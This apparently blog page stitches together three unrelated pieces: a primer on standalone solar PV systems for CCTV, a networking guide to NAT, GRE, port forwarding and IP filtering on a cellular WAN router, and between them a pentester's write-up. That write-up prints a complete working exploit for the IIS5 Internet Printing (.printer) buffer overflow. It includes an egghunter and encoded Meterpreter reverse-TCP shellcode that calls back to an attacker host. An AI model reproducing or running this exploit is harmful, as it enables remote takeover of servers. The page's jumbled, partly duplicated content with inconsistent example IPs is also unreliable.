Components of a stand alone solar PV system for CCTV System

Sunlight to Electricity is photovoltaic technology converts sunlight into electricity and is emerging as a major power source for CCTV due to its numerous environmental and economic benefits and proven reliability. Enough free sunlight falls on earth to supply our energy needs for years to come.

Environmental Benefits: As PV generates electricity from light, PV produces no air pollution or hazardous waste. It doesn't require liquid or gaseous fuel to be transported or combusted.

Economic and Social Benefits: Sunlight is free and abundant. A photovoltaic system allows you to generate electricity and store it for use when needed. Photovoltaic contributes to our energy security, as a young technology, it creates jobs and strengthens the economy. It frees us from uncertainties and foreign oil dependence.

This energy source is free, clean and highly reliable. PV systems are long-lasting and require little maintenance. The benefits of Photovoltaic’s far outweigh the initial cost the systems.

Solar Panels (PV) Modules

The DC electricity produced by the solar panel or module(s) is used to charge batteries via a solar charge controller. Any DC appliances that are connected to the battery will need to be fused.  DC lights are normally connected to the charge controller. Any AC appliances are powered via an inverter connected directly to the batteries. NOTE: inverters used in grid tie and stand alone systems are different and should not be interchanged.

Most stand alone PV systems need to be managed properly. Users need to know the limitations of a system and tailor energy consumption according to how sunny it is and the state of charge (SOC) of the battery.

Configuration

The solar panels need to be configured to match the system DC voltage, which is determined by the battery. System voltages are typically, 12V DC and 24V DC, larger systems will operate at 48V DC.

The operating voltage of a solar panel in a stand-alone system must be high enough to charge the batteries. For example, a 12V battery will require 14.4V to charge it. The solar panel must be able to deliver this voltage to the battery after power losses and voltage drop in the cables and charge controller and in conditions in which the solar cells operate at a high temperature. A solar panel with a Voc of about 20V is required to reliably charge a 12V battery.

Charge Controllers (Solar controller (or solar regulator))

A charge controller is designed to protect the battery and ensure it has a long working life without impairing the system efficiency. Batteries should not be overcharged and the function of the charge controller is to ensure that the battery is not over charged.

• Charge controllers are designed to function as follows:
• Protect the battery from over-discharge, normally referred to as low voltage disconnect (LVD) that disconnects the battery from the load when the battery reaches a certain depth of discharge (DOD).
• Protect the battery from over-charging by limiting the charging voltage - this is important with sealed batteries - it is usually referred to as high voltage disconnect (HVD).
• Prevent current flowing back into the solar panel during the night, so called reverse current.

NOTE: controllers with MPP tracking will ensure that the solar modules operate at optimal rating and can increase output by 10% or more.

Batteries

The power requirements of stand alone pv systems are rarely in sync with the battery charging. Appliances and loads need to be powered when there is sufficient solar radiation, during overcast weather and during the night. Bad weather may last for several days and the daily charging and discharging of the batteries takes its toll on them. Batteries that are able to handle the constant charging and discharging are known as deep cycle batteries. Batteries need to have a good charging efficiency, low charging currents and low self-discharge.

Battery Ah Efficiency

The Ah efficiency of a battery describes the relationship between Ah that are put into the battery and the Ah that are taken out. Under ideal conditions a new deep-cycle battery would be 90% efficient.

Choosing the most appropriate battery

The important characteristics to look for are:

• capacity
• cycle life
• price / performance
• size and space requirements
• Ah efficiency
• self-discharge rate
• installation - vertical or horizontal
• environmental - will batteries be placed near water supplies or in wildlife parks etc

Blast From The Past

Hi visitor I am from Kolkata, India. Its very simple and short Tutorial on my personal exp.

Recently on a test I ran into a windows 2000 server running iis5 with the Internet Printing module enabled, I was quite surprised by this but...a shell is a shell right? Since this was on the job and I wasn't wearing my cowboy hat I fired up my windows 2000 VM (who doesn't have one of those?) and went to work. Metasploit has a module for this vuln (exploit/windows/iis/ms01_023_printer) but surprisingly it is pretty flakey. On the first run of the exploit module it did not work so I took a look at my configuration of IIS again to make sure that everything was setup properly. After confirming IIS settings I tried the module a couple more times and finally was able to get a shell. I restarted IIS and tried the module a few more times...it was still hit or miss - sometimes it would work on the first try sometimes it would take three tries, something was strange....

After breaking out immunity debugger it became clear as to why the exploit did not work everytime. According to the metasploit module the shellcode was being held at an offset of EBX and with a short assembly stub we jump to that location (see metasploit snippet below)

buf = make_nops(280)

buf[268, 4] = [target.ret].pack('V')

# payload is at: [ebx + 96] + 256 + 64

buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]

buf << "\x80\xc1\x40" # add cl, 64

buf << "\x80\xc5\x01" # add ch, 1

buf << "\xff\xe1" # jmp ecx

sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")

While this does work, it appears that sometimes the payload is not within the window and the exploit is not successful. Since we know about where in memory our payload will be when we gain control of EIP seems like a good place to use an egghunter :) I started out with an existing egghunter(http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf) and modified it a little since I know about where in memory my payload is there was no sense looking everywhere for it :) A warning ahead of time - I was lazy and nop'd out the access violation check...I had plenty of bytes to burn ;) -

mov edx, ebx #ebx is the area of our starting point

or dx, 0fff

xor dx,0fff #clear out the bottom half of edx for the start of our loop

inc edx #increment edx - this is the start of our loop

nop #abbreviated nops where the original access violation check was

...

...

mov eax, 57303054 #load our egg "W00T"

mov edi, edx #set edi to point at our current location in memory

scas dword ptr es:[edi] #compare our egg to dword at edi

jnz #jump back to the start of our loop (inc edx) if we didnt find the egg

scas dword ptr es:[edi] #compare our egg to the next dword for the 2nd part of the egg

jnz #jump back to the start of our loop (inc edx) if we didnt find the 2nd egg

jmp edi #jump to edi as it points to the first byte after our egg

After implementing the egghunter into the exploit I had no issues getting a shell everytime :)

Full exploit below - obviously will have to change the shellcode for it to work for you -

import urllib2

import sys

shell= "T00WT00W"

shell +="\x90"*(10)

########################################################################################################

# msfpayload windows/meterpreter/reverse_tcp lhost=192.168.170.1 R|msfencode -e x86/alpha_upper -t c #

########################################################################################################

shell += ("\x89\xe1\xd9\xe8\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43\x43"

"\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34\x41"

"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"

"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"

"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a\x48\x4b\x39\x43\x30\x45"

"\x50\x45\x50\x45\x30\x4d\x59\x4a\x45\x50\x31\x4e\x32\x45\x34"

"\x4c\x4b\x46\x32\x50\x30\x4c\x4b\x51\x42\x44\x4c\x4c\x4b\x51"

"\x42\x44\x54\x4c\x4b\x43\x42\x46\x48\x44\x4f\x4f\x47\x50\x4a"

"\x46\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c\x43"

"\x51\x43\x4c\x44\x42\x46\x4c\x51\x30\x49\x51\x48\x4f\x44\x4d"

"\x43\x31\x49\x57\x4b\x52\x4a\x50\x46\x32\x51\x47\x4c\x4b\x50"

"\x52\x42\x30\x4c\x4b\x47\x32\x47\x4c\x45\x51\x48\x50\x4c\x4b"

"\x47\x30\x42\x58\x4b\x35\x4f\x30\x42\x54\x51\x5a\x43\x31\x4e"

"\x30\x50\x50\x4c\x4b\x47\x38\x42\x38\x4c\x4b\x46\x38\x51\x30"

"\x45\x51\x49\x43\x4d\x33\x47\x4c\x50\x49\x4c\x4b\x47\x44\x4c"

"\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c"

"\x49\x51\x48\x4f\x44\x4d\x45\x51\x48\x47\x47\x48\x4d\x30\x42"

"\x55\x4b\x44\x44\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x46\x44"

"\x44\x35\x4a\x42\x50\x58\x4c\x4b\x50\x58\x46\x44\x45\x51\x49"

"\x43\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45\x4c"

"\x43\x31\x49\x43\x4c\x4b\x45\x54\x4c\x4b\x43\x31\x48\x50\x4d"

"\x59\x51\x54\x47\x54\x47\x54\x51\x4b\x51\x4b\x43\x51\x46\x39"

"\x51\x4a\x46\x31\x4b\x4f\x4d\x30\x50\x58\x51\x4f\x51\x4a\x4c"

"\x4b\x42\x32\x4a\x4b\x4b\x36\x51\x4d\x42\x48\x46\x53\x46\x52"

"\x43\x30\x43\x30\x43\x58\x42\x57\x42\x53\x47\x42\x51\x4f\x50"

"\x54\x43\x58\x50\x4c\x43\x47\x46\x46\x43\x37\x4b\x4f\x49\x45"

"\x48\x38\x4a\x30\x45\x51\x45\x50\x45\x50\x46\x49\x49\x54\x50"

"\x54\x50\x50\x45\x38\x46\x49\x4b\x30\x42\x4b\x45\x50\x4b\x4f"

"\x48\x55\x46\x30\x50\x50\x46\x30\x46\x30\x47\x30\x46\x30\x51"

"\x50\x46\x30\x42\x48\x4b\x5a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f"

"\x49\x45\x4a\x37\x42\x4a\x43\x35\x45\x38\x4f\x30\x49\x38\x4f"

"\x5a\x43\x31\x45\x38\x44\x42\x43\x30\x42\x31\x51\x4c\x4c\x49"

"\x4a\x46\x43\x5a\x42\x30\x50\x56\x51\x47\x43\x58\x4a\x39\x49"

"\x35\x43\x44\x43\x51\x4b\x4f\x48\x55\x4d\x55\x4f\x30\x43\x44"

"\x44\x4c\x4b\x4f\x50\x4e\x43\x38\x44\x35\x4a\x4c\x45\x38\x4a"

"\x50\x48\x35\x4f\x52\x50\x56\x4b\x4f\x48\x55\x43\x5a\x43\x30"

"\x43\x5a\x44\x44\x46\x36\x51\x47\x42\x48\x45\x52\x4e\x39\x4f"

"\x38\x51\x4f\x4b\x4f\x48\x55\x4c\x4b\x47\x46\x43\x5a\x51\x50"

"\x42\x48\x45\x50\x42\x30\x43\x30\x43\x30\x50\x56\x42\x4a\x45"

"\x50\x45\x38\x50\x58\x4e\x44\x46\x33\x4b\x55\x4b\x4f\x49\x45"

"\x4a\x33\x46\x33\x43\x5a\x43\x30\x50\x56\x51\x43\x50\x57\x42"

"\x48\x44\x42\x48\x59\x4f\x38\x51\x4f\x4b\x4f\x4e\x35\x45\x51"

"\x49\x53\x51\x39\x49\x56\x4d\x55\x4c\x36\x43\x45\x4a\x4c\x4f"

"\x33\x44\x4a\x41\x41")

egghunter="\x8B\xD3\x66\x81\xCA\xFF\x0F\x66\x81\xF2\xFF\x0F\x42\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x54\x30\x30\x57\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

buff = 'A'*268 + '\x4d\x3f\xe3\x77' +"\x90"*5 + egghunter + '\x90'*156

useragent = 'Shit Bird'

header = {'User-Agent':useragent, 'Host':buff}

req = urllib2.Request('http://'+sys.argv[1]+'/NULL.printer?'+shell,headers = header)

res = urllib2.urlopen(req)

res.close()

How do I setup IP forwarding/filtering with the Connect WAN

Introduction

The WAN supports four features which provide security and IP traffic forwarding when using incoming or Mobile Terminated connections:

1.      Network Address Translation (NAT)

2.      Generic Routing Encapsulation (GRE) forwarding

3.      TCP/UDP port forwarding

4.      IP Filtering

This document describes each function, how they are used in conjunction with each other, how they are used, and what issues can occur with each if not used properly.

Network Address Translation (NAT)

NAT allows the Connect WAN to have a single public IP address on the mobile link, while allowing multiple private IP addressed devices connected to the Ethernet interface. 

Outgoing traffic (mobile initiated) from the private network to the public mobile network assumes the IP address of the public mobile interface.  An internal table tracks which internal IP address made the outgoing request so that responses get sent to the proper requestor.

For example, a workstation at IP address 192.168.1.15 sends a request to www.arindamcctvaccesscontrol.blogspot.com.  The source IP address is changed by the Connect WAN address translation to the public 

Incoming (mobile terminated) traffic is either designated to the Connect WAN itself (i.e. HTTP or telnet connections for configuration or monitoring), or is forwarded to hosts via the Ethernet interface based either on GRE or TCP/UDP port forwarding which is covered below.

NAT provides two main benefits:

1.      Security: NAT hides the Private IP addresses of the devices on the Connect WAN''''s Ethernet network.

2.      IP Address Availability: IP addresses are in short supply and cost money.  The Connect WAN need be provided only one IP address from the wireless carrier.

NAT is enabled by default on the Connect WAN.  It should not be disabled unless there is a specific reason to do so.

Generic Routing Encapsulation (GRE) forwarding

GRE is a transport layer protocol, designated as IP protocol number 47, is used by many routers, WAN switches and VPN concentrators, to effectively tunnel traffic over a WAN between routers.  Note that GRE itself provides no encryption but protocols such as PPTP can use GRE.  IPSec can be encapsulated in GRE (and vice-versa).  GRE uses IP-in-IP and allows private IP addresses to be tunneled through a public network.

The Connect WAN provides a simple checkbox to turn on GRE forwarding to pass GRE traffic from the mobile interface through to a router on the Ethernet interface.  Note the Connect WAN only passes GRE traffic and does not terminate it.

Here is an example diagram:

Figure 1 - GRE Forwarding

The HQ router''s peer GRE address is the mobile IP address of the Connect WAN, which in this case is 166.213.229.218.  The Connect WAN has GRE forwarding enabled and will send to the router''s Ethernet WAN port, in this case 192.168.1.2.  Typically this connection is a directly connected Ethernet cable.

An example similar to the above is where GRE tunneling is used to create a backup WAN connection to a primary Frame Relay connection through the Connect WAN and wireless network. 

TCP/UDP Port Forwarding

Normally, traffic initiated from a host site to a Connect WAN is blocked by NAT, unless the traffic is destined for the Connect WAN itself.  Port forwarding provides a means to pass traffic from the mobile interface to devices connected to the Connect WAN''''s Ethernet port.  There are two main applications where port forwarding is required:

1.      Pass application data traffic, such as polls or requests, to Ethernet connected devices, and

2.      Pass VPN traffic, such as IPSec-in-UDP, through to routers or VPN appliances.

For example, three devices are attached to the Connect WAN''''s Ethernet port:

Figure 2 - TCP Port Forwarding

The application uses a protocol that polls the devices using the device IP address and TCP port 502 (which is Modbus).  On local LANs and publicly routable IP addresses this is not a problem. 

NAT hides the private Ethernet IP addresses of the devices connected behind the Connect WAN''''s Ethernet port.  The application can then only send polls to one IP address the mobile IP in this case 166.213.229.218. 

TCP port forwarding is used to forward the IP polls to one or more devices on the Connect WAN Ethernet port.  Different TCP port numbers are used to designate which device gets the proper traffic. The application must be able to support changing the TCP protocol port number from the default of 502.  In this case the application is configured to poll according to this table:

Remote Device	Destination IP Address	Destination TCP Port
One	163.213.229.218	12001
Two	163.213.229.218	12002
Three	163.213.229.218	12003

Notice the destination IP address is the Connect WAN''''s mobile IP address.

The Connect WAN is configured with a TCP/UDP forwarding table as follows:

Source TCP Port	Destination IP Address	Destination TCP Port
12001	192.168.1.2	502
12002	192.168.1.3	502
12003	192.168.1.4	502

Incoming traffic is then routed to the proper device.  The devices can use their standard TCP port of 502.

The main issue with port forwarding in this case is when the polling application does NOT allow the user to specify the TCP or UDP port used.  The workaround is to use routers that support GRE, VPN, or other forms of tunneling that can be forwarded through the Connect WAN.

Another example of port forwarding is forwarding of IPSec-in-UDP traffic to a VPN appliance or router attached to the Connect WAN''''s Ethernet port.  Figure 1 above shows a GRE tunnel.  In much the same way, IPSec traffic can be encapsulated in UDP to prevent NAT from modifying the IPSec headers (which would invalidate the traffic).  IPSec-in-UDP implementations always use UDP port 500 for IKE/ISAKMP, but can use various UDP port numbers for the AH/ESP traffic.  Here is an example of UDP port forwarding entries on a Connect WAN for IPSec in UDP:

Protocol	Source Port	Destination IP Address	Destination Port
UDP	500	192.168.1.2	500
UDP	4500	192.168.1.2	4500

IP Filtering

IP Filtering is a security feature that allows the user to block all incoming, mobile terminated traffic into the Connect WAN except for traffic from specific IP addresses and/or subnets.  There are three IP Filtering settings on the Connect WAN:

1.      Only allow access from the following devices and networks.  When checked this blocks ALL incoming traffic except for the traffic from the IP address/subnets listed in the "allow access" tables.

2.      Automatically allow access from all devices on the local subnet.  This allows out-bound traffic from the private Ethernet network out to the mobile network and beyond.

3.      Allow access from the following devices and/or subnets.  When the "Only allow access from the following devices and networks" box is checked, you must provide entries here to allow in-coming mobile traffic to be passed through the Connect WAN.

CAUTION: Incorrect settings here can stop some or all traffic.  For example, checking "Only allow access from the following devices and networks" without adding IP addresses or subnets to the "allow access" tables will block ALL incoming traffic, even responses from outgoing requests.

Remote Device

Destination IP Address

Destination TCP Port

One

163.213.229.218

12001

Two

163.213.229.218

12002

Three

163.213.229.218

12003

Source TCP Port

Destination IP Address

Destination TCP Port

12001

192.168.1.2

502

12002

192.168.1.3

502

12003

192.168.1.4

502

Protocol

Source Port

Destination IP Address

Destination Port

UDP

500

192.168.1.2

500

UDP

4500

192.168.1.2

4500